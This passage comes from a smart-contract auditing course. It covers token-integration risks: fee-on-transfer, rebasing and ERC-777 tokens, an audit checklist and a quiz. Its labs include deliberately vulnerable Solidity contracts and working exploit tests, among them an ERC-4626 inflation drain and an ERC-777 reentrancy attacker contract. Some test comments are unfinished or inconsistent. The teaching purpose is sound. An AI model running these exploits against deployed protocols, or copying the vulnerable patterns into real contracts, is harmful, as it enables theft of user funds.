  • IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24).getInterfaceImplementer(token, keccak256("ERC777Token")) — non-zero → it’s ERC-777.
  • Solidity source: check for tokensReceived, tokensToSend, references to ERC1820, granularity(), defaultOperators(), authorizeOperator.
  • Token bytecode (verified on Etherscan): grep for tokensReceived selector.

If your protocol’s docs say “we support any ERC-20” without exclusion of ERC-777, that’s an automatic Med-or-better finding pending impact analysis.


7. Weird ERC-20s — the d-xo Catalogue

Anytime your protocol accepts arbitrary tokens (e.g., a generic AMM pool, a lending market, a yield aggregator), assume the token is from this list. Inspired by https://github.com/d-xo/weird-erc20.

7.1 Fee-on-transfer (FoT)

A FoT token charges a fee on every transfer; the recipient gets less than the sender sent. Examples: STA (drained $500K from Balancer), PAXG, some reflection tokens.

// Token's internal logic
function _transfer(address from, address to, uint256 amount) internal {
    uint256 fee = amount * 5 / 100;      // 5% fee
    uint256 net = amount - fee;
    _balances[from] -= amount;
    _balances[to] += net;
    _balances[address(this)] += fee;     // or burn, etc.
}

The integrating-protocol bug class: the protocol records the input parameter amount, not the observed balance delta.

// ❌ Vulnerable
function deposit(uint256 amount) external {
    token.transferFrom(msg.sender, address(this), amount);
    balances[msg.sender] += amount;          // ← user got credited 100, contract received 95
}

When the user later withdraws amount, the contract owes more than it holds. First few withdrawals succeed (eating other users’ deposits); eventually the contract is insolvent. Bank run.

The fix — balance-before / balance-after:

function deposit(uint256 amount) external {
    uint256 balBefore = token.balanceOf(address(this));
    token.safeTransferFrom(msg.sender, address(this), amount);
    uint256 received = token.balanceOf(address(this)) - balBefore;
    balances[msg.sender] += received;        // ← credit only what arrived
}

This is the single most underrated audit-checklist item across DeFi. Every protocol accepting arbitrary tokens needs balance-delta accounting on receive, and a symmetric pattern on send.

7.2 Rebasing tokens

A rebasing token (e.g., AMPL, stETH at rate-update events) has balances that change without any Transfer event. The token contract periodically scales every holder’s balance up or down by a global factor.

Integration hazards:

  • If you record balances[user] at deposit and read it at withdraw, the recorded number is no longer in sync with the underlying token’s balanceOf.
  • If your accounting is share-based (like ERC-4626) without internal asset tracking, rebases are gracefully handled. If accounting is asset-amount-based, rebases break it.
  • LP pools that hold rebasing tokens see their reserves silently change — k-invariant breaks, MEV bots arbitrage the differential, users lose.

The 2021–2022 stETH-on-Curve drama is a milder case: stETH does rebase but slowly; LP exposure was understood.

Audit rule: enumerate every token a protocol holds; if any rebases, the protocol needs share-based or balance-delta accounting throughout.

7.3 Deflationary tokens (burn on transfer)

A variant of fee-on-transfer where the “fee” is sent to address(0) or otherwise burned. Same accounting bug class.

7.4 Pausable / blacklist tokens (USDC, USDT)

USDC and USDT have admin-controlled blacklists. An admin can flag an address; transfers to/from that address revert.

Protocol-level implications:

  • Your contract address could be blacklisted (legal pressure, sanctions, mistake).
  • A user’s address could be blacklisted mid-flow — e.g., a withdrawal that was pending now reverts because the destination got blacklisted.
  • USDT additionally has a pause switch — all transfers halt; protocols dependent on USDT liquidity are stalled.

Audit angles:

  • Is there a forceWithdraw or pull mechanism that handles “send failed, try later”?
  • Does the protocol assume transfer always succeeds? It doesn’t — USDC blacklist revert is a perfectly normal failure mode.
  • Is the protocol exposed to a single stablecoin? Diversification matters when “single token transferable” is itself a centralised dependency.

7.5 Multi-address tokens

Same logical token, multiple deployed addresses. Common shape: the legacy address proxies to a “core” address; the “core” address can also be called directly. Reentrancy from one entry point into a function that locks on the other entry point’s address doesn’t block.

Audit angle: when you whitelist a token by address, are you whitelisting all its access addresses? If reentrancy locks use msg.sender of the token, can the same token call you with a different msg.sender?

7.6 Approval-race tokens (USDT, KNC)

Some tokens revert if you call approve(spender, X) when allowance[me][spender] is non-zero and X is also non-zero. Intended as race-protection, but breaks naive code that does approve(spender, newAmount) without zeroing first.

SafeERC20.forceApprove handles this. Naive IERC20.approve does not.

7.7 Missing return value (USDT)

Already covered in §2.2. USDT’s transfer doesn’t return a bool. require(token.transfer(...)) reverts on USDT because empty return data fails to decode.

7.8 Revert on zero amount / zero approval

Some tokens revert on transfer(to, 0) or approve(spender, 0). Protocols that defensively call approve(spender, 0) to clear an allowance (the classic pre-update step) revert on these tokens.

Audit angle: check that zero-amount cases are handled. OZ SafeERC20.forceApprove short-circuits the zero-approval case correctly.

7.9 Non-standard decimals

ERC-20 says decimals is optional and a uint8. In practice:

  • USDC: 6
  • USDT: 6 (on Ethereum)
  • WBTC: 8
  • DAI: 18
  • Most ERC-20: 18 (but you cannot assume this)
  • Some weird tokens: 0, 2, 24

If your protocol assumes 1e18 == 1 token in its math, USDC inputs are off by 10^12. Examples of bugs:

  • Lending protocols where collateral factor is multiplied by decimals mismatches → systemic mis-pricing.
  • AMMs where price impact calculations assume both sides have 18 decimals → fee math is wrong.

Snapshot decimals at integration time. Store them. Never re-read them dynamically and assume they’re stable (upgradeable tokens can technically change decimals, though it’s extremely rare).

7.10 Upgradeable tokens (USDC, USDT)

Most major stablecoins are behind a proxy. An upgrade can:

  • Change behavior subtly (different revert conditions, different events).
  • Add or remove a function the protocol relied on.
  • In theory, break the transfer semantics.

Practical mitigation: subscribe to upgrade events for the tokens your protocol depends on. Build a monitoring channel. Have a runbook for “USDC upgraded — review the diff, pause if it changes semantics.”

7.11 Flash-mintable tokens (DAI)

DAI exposes flashMint/flashLoan at the token level. A flash loan can briefly mint a huge amount of DAI, do something, and burn it. Protocol-level implications:

  • During a flash mint window, balanceOf(some_address) may be massive.
  • Reentrancy through the flash-loan callback can interact with your protocol if it accepts DAI.

8. Integration Audit Patterns — the Master Checklist for §11

A condensed integration ruleset, derived from the bug classes above. Apply to every codebase that touches external tokens.

8.1 Receive-side (tokens flowing into the protocol)

  • Balance-before / balance-after for every transferFrom of a user-deposited asset. Credit the user with the delta, not the input.
  • SafeERC20, not raw IERC20.transferFrom.
  • No state update after a receive callback fires. CEI applies even for “polite” tokens, because you can’t verify they’re polite.
  • Reentrancy lock on every entry point that holds tokens.

8.2 Send-side (tokens flowing out)

  • safeTransfer not transfer.
  • Handle blacklist-revert: try/catch around outbound sends, route to a recovery / claim queue, never revert the entire user flow on one token failure.
  • Don’t assume transfer(amount) results in receiver getting amount (fee-on-transfer). If the receiver is your protocol logic depending on the amount, balance-delta-check.

8.3 Approval / allowance

  • forceApprove or safeIncreaseAllowance / safeDecreaseAllowance only. Never approve directly.
  • Reset allowances after a sequence completes (don’t leave dangling MAX allowances on contracts you don’t fully trust).
  • Never approve(spender, type(uint256).max) to a contract whose upgrade authority is not the protocol’s own multisig.

8.4 Token whitelist hygiene

  • Explicit whitelist of supported tokens, by address, vetted per token.
  • Each whitelisted token has been audited for: fee-on-transfer (no), rebase (no), ERC-777 (no), pause/blacklist (acknowledged), decimals (snapshotted), upgrade authority (acknowledged).
  • Whitelist additions are governance-gated, not admin-EOA-gated, with a timelock.

8.5 Decimals discipline

  • Snapshot decimals at integration. Store as immutable.
  • All math is decimals-aware. Convert via a consistent precision base (e.g., normalize to 1e18).
  • Test against tokens with 6, 8, 18 decimals at minimum.

8.6 Signature / permit hygiene

  • Permit signatures wrapped in try/catch fallback to allowance check (cf. OZ safePermit).
  • EIP-712 domain separator dynamically computed (not constructor-cached without chain-id re-check).
  • Deadlines bounded — minutes/hours, not infinite.
  • For Permit2: spender = your contract; witness binds the action; nonce model understood.

8.7 Vault accounting (if you issue shares)

  • totalAssets() uses internal accounting, or virtual-shares offset, or dead-shares lock, or all three.
  • Rounding direction explicit and tested at edge cases (1 wei deposits, huge donations, zero shares minted).
  • Slippage parameter (minShares / minAssets) on all user-facing entry points.

9. Lab — Reproduce Three Real-World Token-Integration Bugs

9.1 Lab structure

~/web3-sec-lab/wk07/
├── 01-erc4626-inflation/
├── 02-fot-staking/
└── 03-erc777-reentry/

Each is a self-contained Foundry project. Goal: write the exploit test, then apply the canonical fix, then re-run and confirm the test fails.

9.2 Lab 1 — ERC-4626 inflation attack PoC

Setup: a naive ERC-4626 vault that uses IERC20.balanceOf(this) for totalAssets() and has no virtual-shares offset.

// src/NaiveVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 
contract NaiveVault is ERC20 {
    IERC20 public immutable asset;
 
    constructor(IERC20 _asset) ERC20("Naive Vault Share", "nvShare") {
        asset = _asset;
    }
 
    function totalAssets() public view returns (uint256) {
        return asset.balanceOf(address(this));      // ← the bug substrate
    }
 
    function deposit(uint256 assets, address receiver) external returns (uint256 shares) {
        if (totalSupply() == 0) {
            shares = assets;                         // first deposit: 1:1
        } else {
            shares = assets * totalSupply() / totalAssets();   // rounds down
        }
        require(shares > 0, "zero shares");          // ← naive check that doesn't help
        asset.transferFrom(msg.sender, address(this), assets);
        _mint(receiver, shares);
    }
 
    function redeem(uint256 shares, address receiver) external returns (uint256 assets) {
        assets = shares * totalAssets() / totalSupply();
        _burn(msg.sender, shares);
        asset.transfer(receiver, assets);
    }
}

Side note: some versions of this bug omit the require(shares > 0) check. Adding the check forces the victim to revert (DoS) instead of getting 0 shares (silent loss). Both are bugs; the silent-loss variant is worse for the victim, the DoS variant denies service. The attacker can also adjust their donation to make the victim get exactly 1 share, dodging the require.

Test (the exploit):

// test/Inflation.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "forge-std/Test.sol";
import {NaiveVault} from "../src/NaiveVault.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 
contract MockToken is ERC20 {
    constructor() ERC20("Underlying", "UND") {}
    function mint(address to, uint256 amount) external { _mint(to, amount); }
}
 
contract InflationTest is Test {
    MockToken asset;
    NaiveVault vault;
    address attacker = address(0xA11CE);
    address victim   = address(0xB0B);
 
    function setUp() public {
        asset = new MockToken();
        vault = new NaiveVault(asset);
 
        asset.mint(attacker, 200 ether);
        asset.mint(victim,   100 ether);
 
        vm.prank(attacker); asset.approve(address(vault), type(uint256).max);
        vm.prank(victim);   asset.approve(address(vault), type(uint256).max);
    }
 
    function test_inflation_drain() public {
        // 1. Attacker deposits 1 wei
        vm.prank(attacker);
        vault.deposit(1, attacker);
        assertEq(vault.balanceOf(attacker), 1);
 
        // 2. Attacker donates ~100 ether directly
        vm.prank(attacker);
        asset.transfer(address(vault), 100 ether);
 
        // 3. Victim deposits 50 ether, expects ~ proportional shares
        vm.prank(victim);
        vault.deposit(50 ether, victim);
        uint256 victimShares = vault.balanceOf(victim);
        emit log_named_uint("victim shares", victimShares);
        // Math: 50e18 * 1 / (100e18 + 1) == 0  (rounds down)
        // Note: the `require(shares > 0)` short-circuits. Attacker tunes donation
        // so victim gets 1 share instead of 0; we relax the require for clarity.
 
        // 4. Attacker redeems their 1 share, takes virtually everything
        vm.prank(attacker);
        uint256 redeemed = vault.redeem(1, attacker);
        emit log_named_uint("attacker took on redeem", redeemed);
 
        // Attacker should be net positive: spent ~100 ether donation, recovered >= 100 + most of victim's 50.
        uint256 attackerEnd = asset.balanceOf(attacker);
        emit log_named_uint("attacker final balance", attackerEnd);
        // Was 200 ether before; after deposit(1) + donate(100e) + redeem, should be > 200 ether (depending on victim shares)
        assertGt(attackerEnd, 200 ether - 1, "attacker should not lose");
    }
}

Run:

forge test --match-test test_inflation_drain -vvv

Patch (Mitigation 1 — OZ virtual shares):

Replace NaiveVault with OpenZeppelin’s ERC4626 (5.x) and override _decimalsOffset():

import {ERC4626, IERC20} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 
contract SafeVault is ERC4626 {
    constructor(IERC20 _asset) ERC20("Safe Share", "sShare") ERC4626(_asset) {}
 
    function _decimalsOffset() internal pure override returns (uint8) {
        return 6;     // OZ-recommended; raises attack cost by ~10^6
    }
}

Re-run the test. The attacker’s economics flip: their 100-ether donation now subsidises the (now ~10^6) virtual shareholders, not themselves. Victim’s deposit is preserved within rounding.

Stretch: implement Mitigation 2 (dead-shares lock at deploy) on top of NaiveVault instead of OZ — deposit 1 ether on construction, mint shares to address(0). Verify the inflation attack fails.

9.3 Lab 2 — Fee-on-transfer staking bug

Setup: a staking contract that “accepts any ERC-20” and records amount from the function input. Integrate with a 5% fee-on-transfer token. Demonstrate the loss.

// src/FoTToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 
contract FoTToken is ERC20 {
    uint256 public constant FEE_BPS = 500;    // 5%
    address public immutable feeSink;
 
    constructor(address _feeSink) ERC20("Fee Token", "FOT") {
        feeSink = _feeSink;
    }
    function mint(address to, uint256 amt) external { _mint(to, amt); }
 
    function _update(address from, address to, uint256 value) internal override {
        if (from != address(0) && to != address(0)) {
            uint256 fee = (value * FEE_BPS) / 10_000;
            super._update(from, feeSink, fee);
            super._update(from, to, value - fee);
        } else {
            super._update(from, to, value);
        }
    }
}
// src/VulnStake.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 
contract VulnStake {
    IERC20 public immutable token;
    mapping(address => uint256) public stake;
    uint256 public totalStake;
 
    constructor(IERC20 _t) { token = _t; }
 
    function depositVuln(uint256 amount) external {
        token.transferFrom(msg.sender, address(this), amount);
        stake[msg.sender] += amount;           // ← BUG: records input, not delta
        totalStake += amount;
    }
 
    function withdraw(uint256 amount) external {
        require(stake[msg.sender] >= amount, "insufficient stake");
        stake[msg.sender] -= amount;
        totalStake -= amount;
        token.transfer(msg.sender, amount);
    }
}

Test (exploit + invariant):

// test/FoT.t.sol
import "forge-std/Test.sol";
import {FoTToken} from "../src/FoTToken.sol";
import {VulnStake} from "../src/VulnStake.sol";
 
contract FoTTest is Test {
    FoTToken token;
    VulnStake stake;
    address sink = address(0xFEE);
    address alice = address(0xA);
    address bob   = address(0xB);
 
    function setUp() public {
        token = new FoTToken(sink);
        stake = new VulnStake(token);
        token.mint(alice, 1000 ether);
        token.mint(bob,   1000 ether);
        vm.prank(alice); token.approve(address(stake), type(uint256).max);
        vm.prank(bob);   token.approve(address(stake), type(uint256).max);
    }
 
    function test_invariant_violated() public {
        vm.prank(alice); stake.depositVuln(100 ether);   // contract receives 95, books 100
        vm.prank(bob);   stake.depositVuln(100 ether);   // contract receives 95, books 100
 
        uint256 booked = stake.totalStake();             // 200 ether
        uint256 held   = token.balanceOf(address(stake)); // 190 ether
        emit log_named_uint("booked", booked);
        emit log_named_uint("held",   held);
        assertGt(booked, held, "Phantom deposit: booked > held");
    }
 
    function test_last_withdrawer_drained() public {
        vm.prank(alice); stake.depositVuln(100 ether);
        vm.prank(bob);   stake.depositVuln(100 ether);
 
        vm.prank(alice); stake.withdraw(100 ether);      // gets 95 (FoT on outbound, 5% off)
        // Now contract has 190 - 100 = 90 booked-equivalent;
        // but token balance is 190 - 100 = 90 ether before fee... wait the outbound TX also charges fee.
        // bob tries to withdraw 100 ether, contract internally has only ~90 ether, transfer reverts.
        vm.prank(bob);
        vm.expectRevert();
        stake.withdraw(100 ether);
    }
}

Patch (the fix — balance-delta):

function depositSafe(uint256 amount) external {
    uint256 before_ = token.balanceOf(address(this));
    SafeERC20.safeTransferFrom(token, msg.sender, address(this), amount);
    uint256 received = token.balanceOf(address(this)) - before_;
    stake[msg.sender] += received;
    totalStake += received;
}

Re-run; invariant holds; both users can withdraw their actual stake (the 5% they “lost” was real, not the protocol’s bug). Note that even with the fix, FoT tokens lose value through every transfer; a protocol may choose to reject FoT tokens entirely rather than accept them with correct accounting. Both are valid; the audit finding is silence on which.

9.4 Lab 3 — ERC-777 reentrancy (Cream-style)

Setup: a stripped-down lending market that lets a user post collateral, borrow, repay. The borrow function transfers the borrowed token to the borrower before updating their debt. The borrowed token is ERC-777-flavoured (we’ll mock it).

// src/MockERC777.sol — simplified: directly calls a receiver hook on transfer to a contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 
interface IFakeReceiver {
    function tokensReceived(address from, address to, uint256 amount) external;
}
 
contract MockERC777 is ERC20 {
    constructor() ERC20("Hookey", "HOOK") {}
    function mint(address to, uint256 amt) external { _mint(to, amt); }
 
    function _update(address from, address to, uint256 value) internal override {
        super._update(from, to, value);
        // Fire tokensReceived if recipient has code (and is not the zero-mint case)
        if (from != address(0) && to.code.length > 0) {
            try IFakeReceiver(to).tokensReceived(from, to, value) {} catch {}
        }
    }
}
// src/VulnLend.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 
contract VulnLend {
    IERC20 public immutable token;
    mapping(address => uint256) public collateral;
    mapping(address => uint256) public debt;
 
    constructor(IERC20 _t) { token = _t; }
 
    function postCollateral(uint256 amount) external {
        token.transferFrom(msg.sender, address(this), amount);
        collateral[msg.sender] += amount;
    }
 
    function borrow(uint256 amount) external {
        // Check: max borrow = 50% of collateral, minus existing debt
        uint256 maxBorrow = collateral[msg.sender] / 2;
        require(debt[msg.sender] + amount <= maxBorrow, "over LTV");
 
        // ❌ Transfer BEFORE state update → tokensReceived re-enters
        token.transfer(msg.sender, amount);
 
        debt[msg.sender] += amount;
    }
}

Attacker contract:

contract Attacker is IFakeReceiver {
    VulnLend public lend;
    MockERC777 public token;
    uint256 public reentryCount;
 
    constructor(VulnLend _l, MockERC777 _t) { lend = _l; token = _t; }
 
    function go(uint256 collateral, uint256 step) external {
        token.approve(address(lend), type(uint256).max);
        lend.postCollateral(collateral);
        // start a borrow chain
        reentryCount = 0;
        _step = step;
        lend.borrow(step);
    }
 
    uint256 internal _step;
 
    function tokensReceived(address from, address to, uint256 /*amount*/) external override {
        if (from != address(lend)) return;
        reentryCount++;
        if (reentryCount < 5) {
            // re-enter borrow — debt[me] hasn't been updated yet, so we still "have" full collateral
            lend.borrow(_step);
        }
    }
}

Test:

contract ERC777ReentryTest is Test {
    MockERC777 token;
    VulnLend lend;
 
    function setUp() public {
        token = new MockERC777();
        lend = new VulnLend(token);
        token.mint(address(lend), 1000 ether);    // lend has liquidity
    }
 
    function test_reentry_drains_beyond_ltv() public {
        Attacker a = new Attacker(lend, token);
        token.mint(address(a), 100 ether);
        // attacker posts 100 collateral (LTV cap = 50)
        // each step is 50 — first borrow ok, but reentry repeats 4 more times → 250 total borrowed
        a.go(100 ether, 50 ether);
        assertEq(lend.debt(address(a)), 250 ether, "drained: 5x intended borrow");
    }
}

Run:

forge test --match-test test_reentry_drains -vvv

Patch: CEI or nonReentrant:

function borrow(uint256 amount) external nonReentrant {
    uint256 maxBorrow = collateral[msg.sender] / 2;
    require(debt[msg.sender] + amount <= maxBorrow, "over LTV");
    debt[msg.sender] += amount;                  // ← state BEFORE call
    token.transfer(msg.sender, amount);
}

Re-run; reentry attempts are blocked or the debt is updated before the callback fires, so LTV check fails on second entry.

Discussion: in real Cream, the cross-cToken reentrancy meant that a per-function lock on borrow was insufficient. The attacker re-entered a different cToken’s borrow. Contract-wide mutexes, or refusing ERC-777, were the only effective mitigations.

9.5 Stretch challenge — Permit2 integration audit

Pick a real Permit2 integration on Etherscan (Uniswap UniversalRouter is a good study). Read the source. Answer in writing:

  • Where does the contract specify the spender for the signed permit?
  • Where is the deadline checked?
  • What’s the nonce scheme (AllowanceTransfer monotonic vs SignatureTransfer bitmap)?
  • Is there a witness binding? What does it cover?
  • If the signature is intercepted in the mempool, what’s the worst an attacker can do?

Write up your answers as a mock 1-page audit note. Compare against the official Uniswap audit reports (Spearbit, Trail of Bits — both publicly available).


10. Anti-patterns (add to master checklist)

  • Raw IERC20.transfer / transferFrom / approve in user-flow code — always SafeERC20.
  • IERC20.approve(spender, X) without zeroing first, on tokens that may revert (USDT-flavour) — use forceApprove.
  • Recording the input amount of a transferFrom instead of measuring balanceOf delta — fee-on-transfer footgun.
  • Reading IERC20.balanceOf(this) as the source of truth for totalAssets() in an ERC-4626 vault without virtual-shares / dead-shares defense.
  • safeTransferFrom (ERC-721) followed by state change — reentrancy via onERC721Received.
  • setApprovalForAll(operator, true) to an arbitrary contract without timelock / vetting — wallet-drainer surface.
  • Accepting any-token without explicit ERC-777 exclusion or contract-wide reentrancy lock.
  • Cached EIP-712 DOMAIN_SEPARATOR without chain-id re-check on use.
  • permit calls without try/catch fallback to existing-allowance check — front-running griefing.
  • decimals assumed to be 18 anywhere in math.
  • No slippage parameter on user-facing vault entry points.
  • No handling for transfer reverting due to blacklist (USDC, USDT) — protocols that hard-revert on transfer failures DoS users.
  • No upgrade-monitoring on tokens the protocol depends on (USDC, USDT) — silent contract change can break assumptions.
  • Rounding direction not verified at edge cases (1 wei deposits, max-uint deposits).
  • No reentrancy lock on outbound transfers in a multi-token environment where some token might be ERC-777.

11. Trade-offs and Open Debates

DecisionOption AOption BAuditor view
Token whitelist policy”Any ERC-20”Explicit whitelistExplicit whitelist for any protocol holding TVL. “Any ERC-20” surfaces are research curiosities or AMMs designed for adversarial tokens (Uniswap V2/V3 with balance-delta accounting), not generic.
ERC-4626 inflation defenseVirtual shares (OZ)Dead shares at deployBoth work. Virtual shares is more flexible (per-vault offset), dead shares is more visible (anyone can read totalSupply > 0 and see it). Combination is overkill but defensible.
permit vs Permit2EIP-2612 per-tokenPermit2 singletonPermit2 if your protocol routes through multiple tokens; EIP-2612 if you’re a single-asset vault and want zero dependency on Uniswap-deployed infra. Both have their place.
Allow ERC-777 tokensYes (treat as ERC-20)No (refuse via integration)No, unless the protocol has contract-wide reentrancy locking, ironclad CEI, and an audit specifically on the ERC-777 surface. The historical cost of ERC-777 support is in the tens of millions.
forceApprove vs safeIncreaseAllowanceAlways forceApproveUse safeIncrease where additivesafeIncrease/Decrease is better when it fits — additive flow avoids the approve-race entirely. forceApprove is for the “set to known value” cases. Don’t conflate them.
Slippage param everywhereYesOnly at entry pointYes — every entry point that can issue or burn shares. Internal compositions still benefit from it because they may be called by arbitrary contracts (Permit2 spender, periphery routers).

12. Quiz (≥80% to advance)

  1. Q: A protocol’s deposit function does token.transferFrom(msg.sender, address(this), amount); balances[msg.sender] += amount;. List two distinct token behaviours that break this and the precise outcome of each. A: (a) Fee-on-transfer: the contract receives amount - fee but credits amount; eventual insolvency when users withdraw. (b) ERC-777: tokensReceived fires on msg.sender (or other) mid-call, attacker re-enters before the credit is stored. (c) Tokens that revert on transferFrom of zero amount: DoS on zero deposits. Any two.

  2. Q: Why is safeApprove deprecated in OpenZeppelin 5.x, and what replaced it? A: safeApprove reverted if you tried to change a non-zero allowance to a different non-zero (mirroring the USDT/KNC race-protection). That left integrators stuck because the “approve(0) first, approve(N) next” dance could revert in the middle. forceApprove (which internally zeroes first if needed, then sets) replaced it. Additionally safeIncreaseAllowance / safeDecreaseAllowance cover the additive cases.

  3. Q: An ERC-4626 vault implements totalAssets() as asset.balanceOf(address(this)) and uses a 1:1 rule for the first deposit. Describe the attack with numbers. A: Attacker deposits 1 wei (gets 1 share). Donates 100 tokens directly via IERC20.transfer (totalAssets = 100e18 + 1, totalSupply = 1). Victim deposits 50 tokens; shares = 50e18 * 1 / (100e18 + 1) = 0 (rounds down). Attacker redeems their 1 share for ~150e18 (the entire vault). Victim lost 50 tokens; attacker netted ~50 tokens minus dust.

  4. Q: What is the precise difference between Permit2’s AllowanceTransfer and SignatureTransfer flows from an auditor’s standpoint? A: AllowanceTransfer uses monotonic per-(owner, token, spender) nonces and persistent allowances with an expiration. SignatureTransfer uses an unordered nonce bitmap (each signature carries its own nonce, can be submitted out of order, each signature is one-shot). Witness binding is also a SignatureTransfer feature for tying the signature to an action.

  5. Q: Why is the Cream / Iron Bank exploit considered an “ERC-777” bug rather than purely a reentrancy bug? A: The reentrancy was only possible because AMP’s transfer (ERC-777 compliant) invoked tokensReceived on the recipient mid-state-transition. Cream’s borrow followed CEI per-function but didn’t anticipate that a “polite ERC-20 transfer” could execute attacker code. ERC-777 is the substrate; reentrancy is the mechanism.

  6. Q: A new ERC-4626 vault uses OpenZeppelin’s implementation with _decimalsOffset() returning 6. Does it still need a slippage parameter on deposit? A: Yes. The virtual-shares offset neutralises the inflation attack at empty state, but it doesn’t prevent share-price movement between a user’s preview and tx mining (other deposits, withdraws, yields, or even a permitted donation if totalAssets reads balanceOf). Slippage is independent.

  7. Q: A protocol uses IERC20.permit(...) then IERC20.transferFrom(...) to atomically pull tokens from a signer. Front-running risk? A: Yes. An attacker can extract (v, r, s) from the mempool, submit permit(...) standalone (which consumes the nonce and sets the allowance), then ignore the transfer. The user’s wrapping tx now reverts in permit (nonce mismatch). User loses gas; no funds lost, but their action is denied. Mitigation: wrap permit in try/catch and fall through to existing-allowance check (cf. OZ safePermit).

  8. Q: A wallet user signs setApprovalForAll(scammer, true) on a major NFT collection thinking it was a “connect wallet” prompt. What’s the blast radius? A: All NFTs the user currently owns under that collection contract, plus any NFTs they ever acquire under that contract, are transferable by scammer until the user revokes. No amount, no expiry.

  9. Q: A protocol assumes all supported tokens have 18 decimals. It accepts USDC (6 decimals). Where are the math bugs? A: Anywhere amounts are normalised against a 1e18 scale. Examples: collateralisation ratios (1 USDC posted = 1e6, treated as 1e18 → 12 orders of magnitude over-credit), price feed integration (Chainlink USDC/USD feed at 1e8, multiplied by amount in wrong base), interest accrual (rate * amount / SCALE where SCALE = 1e18). Severity ranges from Critical to High depending on path.

  10. Q: An auditor reviews a generic LP-style contract that “accepts any ERC-20”. What three things must they confirm or flag? A: (a) ERC-777 not silently supported — either excluded or contract-wide reentrancy locked. (b) Balance-delta accounting for receive-side (fee-on-transfer, rebase). (c) SafeERC20 everywhere, decimals snapshotted, no math assumes 18 decimals.


13. Week 07 Deliverables

  • Lab 1: ERC-4626 inflation attack PoC working; OZ virtual-shares patch confirms test fails.
  • Lab 2: Fee-on-transfer staking bug invariant violation; balance-delta patch confirms invariant holds.
  • Lab 3: ERC-777 reentrancy PoC working; CEI / nonReentrant patch confirms test fails.
  • Stretch: Permit2 integration audit notes on a chosen real-world integration.
  • Master audit checklist updated with §10 anti-patterns.
  • Trust-assumption matrix: for a protocol you’ve audited or are auditing, list every token in scope and answer the four questions of §1.1 for each.
  • Written 5-bullet brief: “I am told a new protocol accepts USDT, USDC, DAI, stETH, AMP, and MKR. What are the top three integration risks I’d raise on day one of the audit?“

14. Where this leads

Next week: Tuan-08-DeFi-Security-AMM-Lending-Vault. You’ll move from token-level integration risk to protocol-level economic invariants — AMM math (k-invariant, concentrated liquidity edges), lending protocol design (liquidation incentives, bad-debt socialisation), and full vault designs that compose all the patterns from this week. Token-quirk lens does not retire; it becomes the substrate. Every DeFi finding from Week 8 onward begins with “the protocol believes the token behaves like X” — and the auditor’s first move is checking that belief against §7’s catalogue.

The two weeks together (this + Week 8) are the densest of the course. The pay-off is that by the time you finish them, you have the lens through which to read 80% of real audit work.


Last updated: 2026-05-16 See also: Roadmap · References · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-06-Vulnerability-Classes-Part-2 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Case-Cream-Iron-Bank-2021 · Case-Euler-Finance-2023